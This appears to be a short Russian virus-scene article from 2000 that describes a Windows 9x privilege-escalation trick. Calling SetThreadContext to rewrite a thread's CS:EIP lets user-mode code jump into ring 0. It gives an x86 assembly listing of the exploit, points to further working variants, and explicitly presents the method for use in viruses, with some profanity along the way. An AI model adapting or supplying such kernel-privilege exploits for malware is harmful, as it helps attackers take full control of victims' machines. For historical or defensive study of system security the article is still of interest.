ENTERING RING-0 USING WIN32 API: CONTEXT MODIFICATION ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Весь вред, причиненный этим текстом, посвящаю злым вирмэйкерам. Маздай. Сколько глюков в этом слове! Итак, вашему вниманию представляется вроде бы неизвестный до сих пор, но просто шокирующий способ перехода в нулевое кольцо защиты. Это не патч системных таблиц и не загрузка VxD-драйвера; это не супер-пупер глюк в системе и не какой-нибудь навороченный эксплоит; это даже не изъебские вызовы чево-то-там через кернел и это не многомегабайтные исходники вызовов пэйджера на си. Это просто стандартные апи-функции третьего кольца. Суть заключается в вызове всего одной функции: SetThreadContext. Эта функция устанавливает контекст, то есть все регистры для заданной нити. Ситуация усложняется тем, что сохраненный контекст применяется (т.е. установка регистров происходит) при переходе из нуля в третье кольцо при переключении задач и при возврате в кернел из вызванных им процедур нулевого кольца. Таким образом мы подлавливаем момент, когда в контексте текущей нити управление находится в нулевом кольце, а затем правим CS и EIP возврата на 28h и адрес-процедуры-нулевого-кольца. В результате вместо того, чтобы вернуться из нуля обратно в кернел, управление возвращается к нам. Почему нельзя изменить один только CS на 28h? Потому, что тогда управление вернется в кернел, а кернеловский код в нулевом кольце сглючит, так как до начала работы надо переустановить сегментные регистры в 30h. push esp 0 0 push offset thread_ring3_code push 0 0 callW CreateThread ; создаем новую нить xchg ebx, eax ; EBX=хендл нити push offset context push ebx callW GetThreadContext; получаем контекст нити mov context._segcs, 28h ; меняем CS:EIP mov context._eip, offset ring0_code push offset context push ebx callW SetThreadContext; устанавливаем контекст jmp $ ; чего-то ждем thread_ring3_code: push 1 call Sleep ; пауза jmp thread_ring3_code ring0_code: push ss ss ; мы в нуле! pop ds es ... Вот собственно и все. Рабочий пример в CONTEXT.ASM. Единственно, что в таком нулевом кольце нельзя вызывать VxDcall-ы. Но это ведь не проблема, так как из нуля можно что угодно записать в любую область памяти, потом убить текущую нить и перейти в ноль как следует. Но это уже другая история. P.S. Улучшенный вариант перехода в 0 находится в CONTEXT2.ASM: здесь приходится организовывать свой стэк, зато можно вызывать VxDcall-ы. Еще более простой вариант в CONTEXT3.ASM: здесь мы обходимся вообще без создания новой треады и прочей хуйни. Эта версия наиболее приближена к нормальному использованию в вирях.
(x) 2000 Z